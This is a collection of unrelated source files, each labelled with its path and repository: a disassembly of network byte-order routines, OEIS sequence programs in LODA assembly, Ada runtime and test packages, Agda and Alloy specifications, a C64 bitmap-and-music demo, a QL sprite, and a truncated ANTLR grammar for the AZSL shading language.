s_addr = addr.s_addr; f27: 8b 45 08 mov 0x8(%ebp),%eax f2a: 89 45 ec mov %eax,0xffffffec(%ebp) char inv[3]; char *rp; char *ap; u8_t rem; u8_t n; u8_t i; rp = str; f2d: c7 45 f0 2c 11 00 00 movl $0x112c,0xfffffff0(%ebp) ap = (u8_t *)&s_addr; f34: 8d 45 ec lea 0xffffffec(%ebp),%eax f37: 89 45 f4 mov %eax,0xfffffff4(%ebp) for(n = 0; n < 4; n++) { f3a: c6 45 fa 00 movb $0x0,0xfffffffa(%ebp) f3e: e9 af 00 00 00 jmp ff2 <inet_ntoa+0xd2> i = 0; f43: c6 45 fb 00 movb $0x0,0xfffffffb(%ebp) do { rem = *ap % (u8_t)10; f47: 8b 45 f4 mov 0xfffffff4(%ebp),%eax f4a: 0f b6 08 movzbl (%eax),%ecx f4d: b8 67 00 00 00 mov $0x67,%eax f52: f6 e9 imul %cl f54: 66 c1 e8 08 shr $0x8,%ax f58: 89 c2 mov %eax,%edx f5a: c0 fa 02 sar $0x2,%dl f5d: 89 c8 mov %ecx,%eax f5f: c0 f8 07 sar $0x7,%al f62: 89 d3 mov %edx,%ebx f64: 28 c3 sub %al,%bl f66: 88 5d db mov %bl,0xffffffdb(%ebp) f69: 0f b6 45 db movzbl 0xffffffdb(%ebp),%eax f6d: c1 e0 02 shl $0x2,%eax f70: 02 45 db add 0xffffffdb(%ebp),%al f73: 01 c0 add %eax,%eax f75: 89 ca mov %ecx,%edx f77: 28 c2 sub %al,%dl f79: 88 55 db mov %dl,0xffffffdb(%ebp) f7c: 0f b6 5d db movzbl 0xffffffdb(%ebp),%ebx f80: 88 5d f9 mov %bl,0xfffffff9(%ebp) *ap /= (u8_t)10; f83: 8b 45 f4 mov 0xfffffff4(%ebp),%eax f86: 0f b6 08 movzbl (%eax),%ecx f89: b8 67 00 00 00 mov $0x67,%eax f8e: f6 e9 imul %cl f90: 66 c1 e8 08 shr $0x8,%ax f94: 89 c2 mov %eax,%edx f96: c0 fa 02 sar $0x2,%dl f99: 89 c8 mov %ecx,%eax f9b: c0 f8 07 sar $0x7,%al f9e: 28 c2 sub %al,%dl fa0: 8b 45 f4 mov 0xfffffff4(%ebp),%eax fa3: 88 10 mov %dl,(%eax) inv[i++] = '0' + rem; fa5: 0f b6 55 fb movzbl 0xfffffffb(%ebp),%edx fa9: 0f b6 45 f9 movzbl 0xfffffff9(%ebp),%eax fad: 83 c0 30 add $0x30,%eax fb0: 88 44 15 e9 mov %al,0xffffffe9(%ebp,%edx,1) fb4: 80 45 fb 01 addb $0x1,0xfffffffb(%ebp) } while(*ap); fb8: 8b 45 f4 mov 0xfffffff4(%ebp),%eax fbb: 0f b6 00 movzbl (%eax),%eax fbe: 84 c0 test %al,%al fc0: 75 85 jne f47 <inet_ntoa+0x27> while(i--) fc2: eb 12 jmp fd6 <inet_ntoa+0xb6> *rp++ = inv[i]; fc4: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax fc8: 0f b6 54 05 e9 movzbl 0xffffffe9(%ebp,%eax,1),%edx fcd: 8b 45 f0 mov 0xfffffff0(%ebp),%eax fd0: 88 10 mov %dl,(%eax) fd2: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp) fd6: 80 6d fb 01 subb $0x1,0xfffffffb(%ebp) fda: 80 7d fb ff cmpb $0xff,0xfffffffb(%ebp) fde: 75 e4 jne fc4 <inet_ntoa+0xa4> *rp++ = '.'; fe0: 8b 45 f0 mov 0xfffffff0(%ebp),%eax fe3: c6 00 2e movb $0x2e,(%eax) fe6: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp) ap++; fea: 83 45 f4 01 addl $0x1,0xfffffff4(%ebp) fee: 80 45 fa 01 addb $0x1,0xfffffffa(%ebp) ff2: 80 7d fa 03 cmpb $0x3,0xfffffffa(%ebp) ff6: 0f 86 47 ff ff ff jbe f43 <inet_ntoa+0x23> } *--rp = 0; ffc: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp) 1000: 8b 45 f0 mov 0xfffffff0(%ebp),%eax 1003: c6 00 00 movb $0x0,(%eax) return str; 1006: b8 2c 11 00 00 mov $0x112c,%eax } 100b: 83 c4 24 add $0x24,%esp 100e: 5b pop %ebx 100f: 5d pop %ebp 1010: c3 ret 1011: eb 0d jmp 1020 <htons> 1013: 90 nop 1014: 90 nop 1015: 90 nop 1016: 90 nop 1017: 90 nop 1018: 90 nop 1019: 90 nop 101a: 90 nop 101b: 90 nop 101c: 90 nop 101d: 90 nop 101e: 90 nop 101f: 90 nop 00001020 <htons>: #ifndef BYTE_ORDER #error BYTE_ORDER is not defined #endif #if BYTE_ORDER == LITTLE_ENDIAN u16_t htons(u16_t n) { 1020: 55 push %ebp 1021: 89 e5 mov %esp,%ebp 1023: 83 ec 04 sub $0x4,%esp 1026: 8b 45 08 mov 0x8(%ebp),%eax 1029: 66 89 45 fc mov %ax,0xfffffffc(%ebp) return ((n & 0xff) << 8) | ((n & 0xff00) >> 8); 102d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax 1031: 25 ff 00 00 00 and $0xff,%eax 1036: c1 e0 08 shl $0x8,%eax 1039: 89 c2 mov %eax,%edx 103b: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax 103f: 25 00 ff 00 00 and $0xff00,%eax 1044: c1 f8 08 sar $0x8,%eax 1047: 09 d0 or %edx,%eax 1049: 0f b7 c0 movzwl %ax,%eax } 104c: c9 leave 104d: c3 ret 104e: 89 f6 mov %esi,%esi 00001050 <ntohs>: u16_t ntohs(u16_t n) { 1050: 55 push %ebp 1051: 89 e5 mov %esp,%ebp 1053: 83 ec 08 sub $0x8,%esp 1056: 8b 45 08 mov 0x8(%ebp),%eax 1059: 66 89 45 fc mov %ax,0xfffffffc(%ebp) return htons(n); 105d: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax 1061: 89 04 24 mov %eax,(%esp) 1064: e8 b7 ff ff ff call 1020 <htons> 1069: 0f b7 c0 movzwl %ax,%eax } 106c: c9 leave 106d: c3 ret 106e: 89 f6 mov %esi,%esi 00001070 <htonl>: u32_t htonl(u32_t n) { 1070: 55 push %ebp 1071: 89 e5 mov %esp,%ebp return ((n & 0xff) << 24) | 1073: 0f b6 45 08 movzbl 0x8(%ebp),%eax 1077: 89 c2 mov %eax,%edx 1079: c1 e2 18 shl $0x18,%edx 107c: 8b 45 08 mov 0x8(%ebp),%eax 107f: 25 00 ff 00 00 and $0xff00,%eax 1084: c1 e0 08 shl $0x8,%eax 1087: 09 c2 or %eax,%edx 1089: 8b 45 08 mov 0x8(%ebp),%eax 108c: 25 00 00 ff 00 and $0xff0000,%eax 1091: c1 e8 08 shr $0x8,%eax 1094: 09 c2 or %eax,%edx 1096: 8b 45 08 mov 0x8(%ebp),%eax 1099: 25 00 00 00 ff and $0xff000000,%eax 109e: c1 e8 18 shr $0x18,%eax 10a1: 09 d0 or %edx,%eax ((n & 0xff00) << 8) | ((n & 0xff0000) >> 8) | ((n & 0xff000000) >> 24); } 10a3: 5d pop %ebp 10a4: c3 ret 10a5: 8d 74 26 00 lea 0x0(%esi),%esi 10a9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi 000010b0 <ntohl>: u32_t ntohl(u32_t n) { 10b0: 55 push %ebp 10b1: 89 e5 mov %esp,%ebp 10b3: 83 ec 04 sub $0x4,%esp return htonl(n); 10b6: 8b 45 08 mov 0x8(%ebp),%eax 10b9: 89 04 24 mov %eax,(%esp) 10bc: e8 af ff ff ff call 1070 <htonl> } 10c1: c9 leave 10c2: c3 ret
programs/oeis/129/A129109.asm
karttu/loda
1
245723
<filename>programs/oeis/129/A129109.asm ; A129109: Sums of three consecutive hexagonal numbers. ; 7,22,49,88,139,202,277,364,463,574,697,832,979,1138,1309,1492,1687,1894,2113,2344,2587,2842,3109,3388,3679,3982,4297,4624,4963,5314,5677,6052,6439,6838,7249,7672,8107,8554,9013,9484,9967,10462,10969,11488,12019,12562,13117,13684,14263,14854,15457,16072,16699,17338,17989,18652,19327,20014,20713,21424,22147,22882,23629,24388,25159,25942,26737,27544,28363,29194,30037,30892,31759,32638,33529,34432,35347,36274,37213,38164,39127,40102,41089,42088,43099,44122,45157,46204,47263,48334,49417,50512,51619,52738,53869,55012,56167,57334,58513,59704,60907,62122,63349,64588,65839,67102,68377,69664,70963,72274,73597,74932,76279,77638,79009,80392,81787,83194,84613,86044,87487,88942,90409,91888,93379,94882,96397,97924,99463,101014,102577,104152,105739,107338,108949,110572,112207,113854,115513,117184,118867,120562,122269,123988,125719,127462,129217,130984,132763,134554,136357,138172,139999,141838,143689,145552,147427,149314,151213,153124,155047,156982,158929,160888,162859,164842,166837,168844,170863,172894,174937,176992,179059,181138,183229,185332,187447,189574,191713,193864,196027,198202,200389,202588,204799,207022,209257,211504,213763,216034,218317,220612,222919,225238,227569,229912,232267,234634,237013,239404,241807,244222,246649,249088,251539,254002,256477,258964,261463,263974,266497,269032,271579,274138,276709,279292,281887,284494,287113,289744,292387,295042,297709,300388,303079,305782,308497,311224,313963,316714,319477,322252,325039,327838,330649,333472,336307,339154,342013,344884,347767,350662,353569,356488,359419,362362,365317,368284,371263,374254 mov $1,6 mul $1,$0 add $1,9 mul $1,$0 add $1,7
bb-runtimes/src/s-bbpara__zynqmpr5.ads
JCGobbi/Nucleo-STM32G474RE
0
15309
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . B B . P A R A M E T E R S -- -- -- -- S p e c -- -- -- -- Copyright (C) 1999-2002 Universidad Politecnica de Madrid -- -- Copyright (C) 2003-2005 The European Space Agency -- -- Copyright (C) 2003-2021, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- -- The port of GNARL to bare board targets was initially developed by the -- -- Real-Time Systems Group at the Technical University of Madrid. -- -- -- ------------------------------------------------------------------------------ -- This package defines basic parameters used by the low level tasking system -- This is the Xilinx Ultrascale+ MPSoC Cortex-R5 version of this package pragma Restrictions (No_Elaboration_Code); package System.BB.Parameters is pragma Pure; -------------------- -- Hardware clock -- -------------------- LPD_APB_CLK_Frequency : constant := 100_000_000; -- 100MHz input frequency TTC_Prescaler : constant := 2; Ticks_Per_Second : constant := LPD_APB_CLK_Frequency / (2 ** (TTC_Prescaler + 1)); -- Frequency of the TTC counter: 12.50 MHz ---------------- -- Interrupts -- ---------------- -- These definitions are in this package in order to isolate target -- dependencies. subtype Interrupt_Range is Natural range 0 .. 191; -- Number of interrupts supported by the zynqmp. Trap_Vectors : constant := 7; -- ARM in general has these traps: -- 0 (at 16#0000#) Reset -- 1 (at 16#0004#) Undefined Instruction (synchronous) -- 2 (at 16#0008#) Supervisor Call (synchronous) -- 3 (at 16#000C#) Abort - Prefetch (synchronous) -- 4 (at 16#0010#) Abort - Data (asynchronous) -- 5 (at 16#0014#) IRQ Trap (asynchronous) -- 6 (at 16#0018#) FIQ Trap (asynchronous) Interrupt_Unmask_Priority : constant System.Interrupt_Priority := System.Interrupt_Priority'Last; -- The priority under which we unmask interrupts. -- Useful when we use FIQ to simulate priorities on ARM. ----------------------------- -- GIC peripheral location -- ----------------------------- GICD_Base_Address : constant := 16#F900_0000#; GICC_Base_Address : constant := 16#F900_1000#; ------------ -- Stacks -- ------------ Interrupt_Stack_Size : constant := 8192; -- Size of each of the interrupt stacks. Each processor has its own -- interrupt stack. In case interrupts are nested, the same stack is used. Interrupt_Sec_Stack_Size : constant := 128; -- Size of the secondary stack for interrupt handlers ---------- -- CPUS -- ---------- Max_Number_Of_CPUs : constant := 4; -- Maximum number of CPUs avaialble on the target. -- Note: the actual number of CPUs can be lower than this number, in -- which case the runtime will adjust the CPUs according to the actual -- CPU count. -- The actual number of CPUs can be also bigger, in which case the runtime -- will not use the additional CPUs. Multiprocessor : constant Boolean := Max_Number_Of_CPUs /= 1; -- Are we on a multiprocessor board? end System.BB.Parameters;
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/incomplete5_pkg.ads
best08618/asylo
7
24339
generic type Record_Type; package Incomplete5_Pkg is type Access_Type is access Record_Type; type Base_Object is tagged record Handle: Access_Type; end record; function Get_Handle(Object: Base_Object) return Access_Type; function From_Handle(Handle: Access_Type) return Base_Object; end Incomplete5_Pkg;
notes/FOT/FOTC/Program/Collatz/CollatzConditionals.agda
asr/fotc
11
11530
------------------------------------------------------------------------------ -- The Collatz function: A function without a termination proof ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} module FOT.FOTC.Program.Collatz.CollatzConditionals where open import FOTC.Base open import FOTC.Data.Nat open import FOTC.Data.Nat.UnaryNumbers open import FOTC.Program.Collatz.Data.Nat ------------------------------------------------------------------------------ -- The Collatz function. postulate collatz : D → D collatz-eq : ∀ n → collatz n ≡ (if (iszero₁ n) then 1' else (if (iszero₁ (pred₁ n)) then 1' else (if (even n) then collatz (div n 2') else collatz (3' * n + 1')))) {-# ATP axiom collatz-eq #-}
alloy4fun_models/trashltl/models/8/sT2YusaiNXXiZ3tt8.als
Kaixi26/org.alloytools.alloy
0
1844
<filename>alloy4fun_models/trashltl/models/8/sT2YusaiNXXiZ3tt8.als open main pred idsT2YusaiNXXiZ3tt8_prop9 { all f: File | always(once f in Protected implies always f not in Trash) } pred __repair { idsT2YusaiNXXiZ3tt8_prop9 } check __repair { idsT2YusaiNXXiZ3tt8_prop9 <=> prop9o }
oeis/051/A051125.asm
neoneye/loda-programs
11
168800
; A051125: Table T(n,k) = max{n,k} read by antidiagonals (n >= 1, k >= 1). ; Submitted by <NAME> ; 1,2,2,3,2,3,4,3,3,4,5,4,3,4,5,6,5,4,4,5,6,7,6,5,4,5,6,7,8,7,6,5,5,6,7,8,9,8,7,6,5,6,7,8,9,10,9,8,7,6,6,7,8,9,10,11,10,9,8,7,6,7,8,9,10,11,12,11,10,9,8,7,7,8,9,10,11,12,13,12,11,10,9,8,7,8,9,10,11,12,13,14,13,12,11,10,9,8,8,9 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$0 max $1,$0 mov $0,$1 add $0,1
colours07.asm
robcowell/c64stuff
0
170910
<filename>colours07.asm *=$0801 "Basic Program" BasicUpstart($0810) *=$1000 //music at $1000 to $5E23 - rules out VIC banks 0 and 1 .import binary "Megamix.sid",$7c+2 //Advanced art studio file specs: //Load address: $a000 - $c71F // Load address needs to be in same address range as the VIC bank // that you're going to copy it to, according to Vanja //$a000 - $bF3F Bitmap data //$bF40 - $c327 Screen RAM (copy to VIC Bank start address + $0400) //$c328 Border colour //$c329 Background colour //$c338 - $c71F Colour RAM (copy to $d800->) *=$a000 .import binary "dino.ocp",2 *=$0810 //code at $0810 sei //disable interrupts // here we shift BASIC and Kernal ROM routines out the way // so we can use the RAM space at the addresses they used. lda #$35 sta $01 lda #$00 //select subtune jsr $1000 //init music //------------------------- //-- DISPLAY PIC ATTEMPT -- //------------------------- // black background/border lda #$00 sta $d020 sta $d021 ldx #$00 // zero X register setpic: // start copying screen data - screen ram lda $bF40,x sta $8400,x lda $c040,x sta $8500,x lda $c140,x sta $8600,x lda $c240,x sta $8700,x // start copying color ram lda $c338,x sta $d800,x lda $c438,x sta $d900,x lda $c538,x sta $da00,x lda $c638,x sta $db00,x inx bne setpic // Go into bitmap mode lda #$3b sta $d011 // Go into multicolor mode lda #$18 sta $d016 // Select VIC bank (last two digits of the ora statement) // 00 = bank 3 - $C000 - $FFFF // 01 = bank 2 - $8000 - $BFFF // 10 = bank 1 - $4000 - $7FFF // 11 = bank 0 - $0000 - $3FFF lda $DD00 and #%11111100 ora #%00000001 sta $dd00 // Set VIC screen and font pointers lda #$18 sta $d018 loop: lda #$3A //wait for the raster beam to reach line #$3f cmp $d012 bne *-3 ldx #$0b //timing loop to hide flicker beyond border dex bne *-1 lda #$00 //change screen and border sta $d020 sta $d021 jsr $1003 //play the music lda #$f2 //wait for raster beam to reach line #$f2 cmp $d012 bne *-3 ldx #$0b //timing loop to hide flicker beyond border dex bne *-1 lda #$0b //change screen and border sta $d020 sta $d021 jmp loop //jump to loop
src/util/icon/asm_gotolab.asm
olifink/qspread
0
28665
<gh_stars>0 section sprite xdef mes_gotolab xref mes_zero mes_gotolab dc.w $0100,$0000 dc.w 20,16,0,0 dc.l mcs_gotolab-* dc.l mes_zero-* dc.l sp_gotolab-* mcs_gotolab dc.w $5900,$8808 dc.w $8080,$0000 dc.w $9200,$0D0D dc.w $8080,$0000 dc.w $9B00,$0F0F dc.w $8080,$0000 dc.w $9200,$8F0F dc.w $8080,$0000 dc.w $5100,$0F0F dc.w $8080,$0000 dc.w $0000,$3F3F dc.w $E0E0,$0000 dc.w $0000,$1F1F dc.w $C0C0,$0000 dc.w $0000,$0F0F dc.w $8080,$0000 dc.w $0000,$0707 dc.w $0000,$0000 dc.w $0000,$0202 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0000,$0000 dc.w $0808,$9999 dc.w $A0A0,$0000 dc.w $0909,$5555 dc.w $2020,$0000 dc.w $0909,$5959 dc.w $A0A0,$0000 dc.w $0909,$D5D5 dc.w $2020,$0000 dc.w $0D0D,$5959 dc.w $B0B0,$0000 * sp_gotolab incbin 'win1_util_icon_gotolab_spr' end
programs/oeis/185/A185055.asm
karttu/loda
1
166590
; A185055: Number of representations of 5^(2n) as a sum a^2 + b^2 + c^2 with 0 < a <= b <= c. ; 0,0,2,14,76,388,1950,9762,48824,244136,1220698,6103510,30517572,152587884,762939446,3814697258,19073486320,95367431632,476837158194,2384185791006,11920928955068,59604644775380,298023223876942,1490116119384754,7450580596923816,37252902984619128 mov $1,5 pow $1,$0 div $1,4 sub $1,$0 div $1,4 mul $1,2
src/azslParser.g4
jeremyong/o3de-azslc
0
3633
/* Original grammar by <NAME> MIT license - Edits by Amazon, C 2018 */ parser grammar azslParser; options { tokenVocab = azslLexer; } // entry rule compilationUnit: Declarations+=topLevelDeclaration* EOF ; topLevelDeclaration: anyStructuredTypeDefinitionStatement | variableDeclarationStatement | attributedFunctionDefinition | attributedFunctionDeclaration | attributeSpecifierSequence | compilerExtensionStatement // AZSLc specific | typeAliasingDefinitionStatement // AZSLc specific | attributedSrgDefinition // AZSLc specific | attributedSrgSemantic // AZSLc specific | Semi ; // Amazon: AZSL has scopes, and identifiers can be qualified idExpression: unqualifiedId // stricly unqualified (no nested specifiers at all) | qualifiedId // could be relatively qualified OR fully qualified. ; unqualifiedId: Identifier ; qualifiedId: nestedNameSpecifier unqualifiedId ; nestedNameSpecifier: GlobalSROToken='::'? (Identifier '::')* ; classDefinitionStatement: classDefinition Semi ; classDefinition: Class Name=Identifier BaseListOpt=baseList? LeftBrace classMemberDeclaration* RightBrace ; baseList: Colon idExpression (Comma idExpression)* ; classMemberDeclaration: variableDeclarationStatement | attributedFunctionDefinition | attributedFunctionDeclaration | typeAliasingDefinitionStatement // AZSL specificity | anyStructuredTypeDefinitionStatement // Amazon extension (DXC supports it) ; structDefinitionStatement: structDefinition Semi ; structDefinition: Struct Name=Identifier LeftBrace structMemberDeclaration* RightBrace ; structMemberDeclaration: variableDeclarationStatement | attributedFunctionDefinition //AZSL+, forbidden, but allows us to provide better error message. | attributedFunctionDeclaration //AZSL+, forbidden, but allows us to provide better error message. | anyStructuredTypeDefinitionStatement // AZSL+ | typeAliasingDefinitionStatement // AZSL+ ; anyStructuredTypeDefinitionStatement: attributeSpecifierAny* anyStructuredTypeDefinition Semi ; enumDefinitionStatement: enumDefinition Semi ; enumDefinition: enumKey Name=Identifier LeftBrace List=enumeratorListDefinition? RightBrace ; enumKey: Enum # UnscopedEnum | Enum (Class|Struct) # ScopedEnum ; enumeratorListDefinition: Enumerators+=enumeratorDeclarator (',' Enumerators+=enumeratorDeclarator)* ','? ; enumeratorDeclarator: Name=Identifier ('=' Value=expression)? ; // AZSL+ anyStructuredTypeDefinition: classDefinition | interfaceDefinition | structDefinition | enumDefinition ; interfaceDefinitionStatement: interfaceDefinition Semi; interfaceDefinition: Interface Name=Identifier LeftBrace interfaceMemberDeclaration* RightBrace ; interfaceMemberDeclaration: attributedFunctionDeclaration | associatedTypeDeclaration // AZSL+ | anyStructuredTypeDefinitionStatement // AZSL+ ; constantBufferTemplated: CBCoreType=(ConstantBuffer | ConstantBufferCamel) '<' GenericTypeName=type '>' ; variableDeclarationStatement: variableDeclaration Semi ; functionParams: Void | functionParam (Comma functionParam)* ; functionParam: attributeSpecifierAny* storageFlags type Name=Identifier? unnamedVariableDeclarator ; hlslSemantic: Colon Name=hlslSemanticName ; hlslSemanticName: HLSLSemanticStream // Semantics related to shader stages streams | HLSLSemanticSystem // Semantics related to system provided attributes | Identifier // Anything we might have missed, including new or platform-specific semantics ; // -------------------------------------- // ATTRIBUTES // -------------------------------------- attributeArguments: literal (Comma literal)* ; attributeArgumentList: LeftParen attributeArguments RightParen ; attribute: Global ColonColon (Namespace=Identifier ColonColon)? Name=Identifier attributeArgumentList? # GlobalAttribute | (Namespace=Identifier ColonColon)? Name=Identifier attributeArgumentList? # AttachedAttribute ; attributeSpecifier: LeftBracket attribute RightBracket ; attributeSpecifierSequence: LeftDoubleBracket Attributes+=attribute (Comma Attributes+=attribute)* RightBracket RightBracket ; attributeSpecifierAny: attributeSpecifier | attributeSpecifierSequence ; // -------------------------------------- // STATEMENTS // -------------------------------------- block: LeftBrace Stmts+=statement* RightBrace ; statement: variableDeclarationStatement | embeddedStatement | anyStructuredTypeDefinitionStatement ; forInitializer: variableDeclaration | expressionExt ; switchLabel: Case Expr=expression Colon # CaseSwitchLabel | Default Colon # DefaultSwitchLabel ; switchSection: switchLabel+ statement+ ; switchBlock: LeftBrace switchSection* RightBrace ; embeddedStatement: Semi # EmptyStatement | block # BlockStatement | Expr=expressionExt Semi # ExpressionStatement // Selection statement | attributeSpecifier* If LeftParen Condition=expressionExt RightParen Stmt=embeddedStatement elseClause? # IfStatement | attributeSpecifier* Switch LeftParen Expr=expressionExt RightParen switchBlock # SwitchStatement // Iteration statement | attributeSpecifier* While LeftParen condition=expressionExt RightParen embeddedStatement # WhileStatement | attributeSpecifier* Do embeddedStatement While LeftParen Condition=expressionExt RightParen Semi # DoStatement | attributeSpecifier* For LeftParen forInitializer? Semi Condition=expressionExt? Semi iterator=expressionExt? RightParen embeddedStatement # ForStatement // Jump statement | Break Semi # BreakStatement | Continue Semi # ContinueStatement | Discard Semi # DiscardStatement | Return Expr=expressionExt? Semi # ReturnStatement // AZSLc specific | compilerExtensionStatement # ExtenstionStatement | typeAliasingDefinitionStatement # TypeAliasingDefinitionStatementLabel ; elseClause: Else Stmt=embeddedStatement ; // -------------------------------------- // EXPRESSIONS // -------------------------------------- expression: literal # LiteralExpression | idExpression # IdentifierExpression | LeftParen Expr=expressionExt RightParen # ParenthesizedExpression | LHSExpr=expression DotToken=Dot Member=idExpression # MemberAccessExpression | Expr=expression LeftBracket Index=expression RightBracket # ArrayAccessExpression | Expr=expression argumentList # FunctionCallExpression | scalarOrVectorOrMatrixType argumentList # NumericConstructorExpression |<assoc=right> LeftParen type (ArrayRankSpecifiers+=arrayRankSpecifier)* RightParen Expr=expression # CastExpression | Expr=expression Operator=postfixUnaryOperator # PostfixUnaryExpression |<assoc=right> Operator=prefixUnaryOperator Expr=expression # PrefixUnaryExpression | Left=expression Operator=binaryOperator Right=expression # BinaryExpression |<assoc=right> Condition=expression Question TrueExpr=expressionExt Colon FalseExpr=expressionExt # ConditionalExpression // ternary |<assoc=right> Left=expression Operator=assignmentOperator Right=expressionExt # AssignmentExpression ; // comma-expr are problematic because the parser is greedy, // and it catches comma-expr situations in undesired places. like function arguments or enum declarations. // therefore we need to cut in two categories, to restrict these situations. // all expressions + comma-expressions expressionExt: Expr=expression # OtherExpression | Left=expressionExt Operator=Comma Right=expression # CommaExpression ; postfixUnaryOperator: PlusPlus | MinusMinus ; prefixUnaryOperator: Plus | Minus | Not | Tilde | PlusPlus | MinusMinus ; binaryOperator: Star | Div | Mod | Plus | Minus | LeftShift | RightShift | Less | Greater | LessEqual | GreaterEqual | Equal | NotEqual | And | Caret | Or | AndAnd | OrOr ; assignmentOperator: Assign | StarAssign | DivAssign | ModAssign | PlusAssign | MinusAssign | LeftShiftAssign | RightShiftAssign | AndAssign | XorAssign | OrAssign ; argumentList: LeftParen arguments? RightParen ; arguments: expression (Comma expression)* ; // -------------------------------------- // TYPES // -------------------------------------- // note that in FXC "int static" (that is `storageFlags type storageFlags`) wasn't valid. // but in DXC it's flexible like in C/C++, so we have a restriction compared to DXC here. variableDeclaration: attributeSpecifierAny* storageFlags type variableDeclarators ; variableDeclarators: VarDecls+=namedVariableDeclarator (Comma VarDecls+=namedVariableDeclarator)* ; unnamedVariableDeclarator: (ArrayRankSpecifiers+=arrayRankSpecifier)* SemanticOpt=hlslSemantic? packOffsetNode? RegisterAllocation=registerAllocation? variableInitializer? ; namedVariableDeclarator: Name=Identifier unnamedVariableDeclarator ; variableInitializer: '=' standardVariableInitializer | samplerBodyDeclaration ; standardVariableInitializer: '{' arrayElementInitializers '}' | Expr=expression ; arrayElementInitializers: standardVariableInitializer (Comma standardVariableInitializer)* Comma? ; arrayRankSpecifier: LeftBracket Dimension=expression? RightBracket ; packOffsetNode: Colon PackoffsetKeyword=Packoffset LeftParen PackOffsetRegister=Identifier (Dot PackOffsetComponent=Identifier)? RightParen ; storageFlags: storageFlag* ; storageFlag: // Type modifiers Const | RowMajor | ColumnMajor // Storage classes | Extern | Inline | Rootconstant | Option | Precise | Shared | Groupshared | Static | Uniform | Volatile // Interpolation modifiers | Linear | Centroid | Nointerpolation | Noperspective | Sample // Parameter modifiers (only valid on function params) | In | Out | Inout // Geometry shader primitive type | Point | Line_ | Triangle | LineAdj | TriangleAdj ; type: predefinedType | userDefinedType | typeofExpression ; predefinedType: bufferPredefinedType | byteAddressBufferTypes | patchPredefinedType | matrixType | genericMatrixPredefinedType | samplerStatePredefinedType | scalarType | streamOutputPredefinedType | structuredBufferPredefinedType | texturePredefinedType | genericTexturePredefinedType | msTexturePredefinedType | vectorType | genericVectorType | constantBufferTemplated // needed here to get recognized as a predefined type | otherViewResourceType | subobjectType | rtxBuiltInTypes ; subobjectType: StateObjectConfig | LocalRootSignature | GlobalRootSignature | SubobjectToExportsAssociation | RaytracingShaderConfig | RaytracingPipelineConfig | RaytracingPipelineConfig1 | TriangleHitGroup | ProceduralPrimitiveHitGroup ; // Acceleration structures otherViewResourceType: RaytracingAccelerationStructure ; rtxBuiltInTypes: BuiltInTriangleIntersectionAttributes | RayDesc ; bufferPredefinedType: bufferType Less scalarOrVectorOrMatrixType Greater ; bufferType: Buffer | RWBuffer | RasterizerOrderedBuffer ; byteAddressBufferTypes: ByteAddressBuffer | RWByteAddressBuffer | RasterizerOrderedByteAddressBuffer ; patchPredefinedType: patchType Less Name=userDefinedType Comma ControlPoints=IntegerLiteral Greater ; patchType: InputPatch | OutputPatch ; samplerStatePredefinedType: Sampler | SamplerCapitalS | SamplerState | SamplerComparisonState ; scalarType: Bool | Int | Uint | UnsignedInt | Dword | Half | Float | Double ; streamOutputPredefinedType: streamOutputObjectType Less type Greater ; streamOutputObjectType: PointStream | LineStream | TriangleStream ; structuredBufferPredefinedType: structuredBufferName Less type Greater ; structuredBufferName: AppendStructuredBuffer | ConsumeStructuredBuffer | RWStructuredBuffer | StructuredBuffer | RasterizerOrderedStructuredBuffer ; textureType: Texture1D | Texture1DArray | RasterizerOrderedTexture1D | RasterizerOrderedTexture1DArray | Texture2D | Texture2DArray | RasterizerOrderedTexture2D | RasterizerOrderedTexture2DArray | Texture3D | RasterizerOrderedTexture3D | TextureCube | TextureCubeArray | RWTexture1D | RWTexture1DArray | RWTexture2D | RWTexture2DArray | RWTexture3D | SubpassInput | SubpassInputMS ; texturePredefinedType: textureType ; genericTexturePredefinedType: textureType Less scalarOrVectorType Greater ; textureTypeMS: Texture2DMS | Texture2DMSArray ; msTexturePredefinedType: textureTypeMS Less scalarOrVectorType (Comma Samples=IntegerLiteral)? Greater ; vectorType: Vector | Bool1 | Bool2 | Bool3 | Bool4 | Int1 | Int2 | Int3 | Int4 | Uint1 | Uint2 | Uint3 | Uint4 | Dword1 | Dword2 | Dword3 | Dword4 | Half1 | Half2 | Half3 | Half4 | Float1 | Float2 | Float3 | Float4 | Double1 | Double2 | Double3 | Double4 ; genericVectorType: Vector Less scalarType Comma Size_=IntegerLiteral Greater ; scalarOrVectorType: scalarType | vectorType ; scalarOrVectorOrMatrixType: scalarType | vectorType | matrixType ; matrixType: Matrix | Bool1x1 | Bool1x2 | Bool1x3 | Bool1x4 | Bool2x1 | Bool2x2 | Bool2x3 | Bool2x4 | Bool3x1 | Bool3x2 | Bool3x3 | Bool3x4 | Bool4x1 | Bool4x2 | Bool4x3 | Bool4x4 | Int1x1 | Int1x2 | Int1x3 | Int1x4 | Int2x1 | Int2x2 | 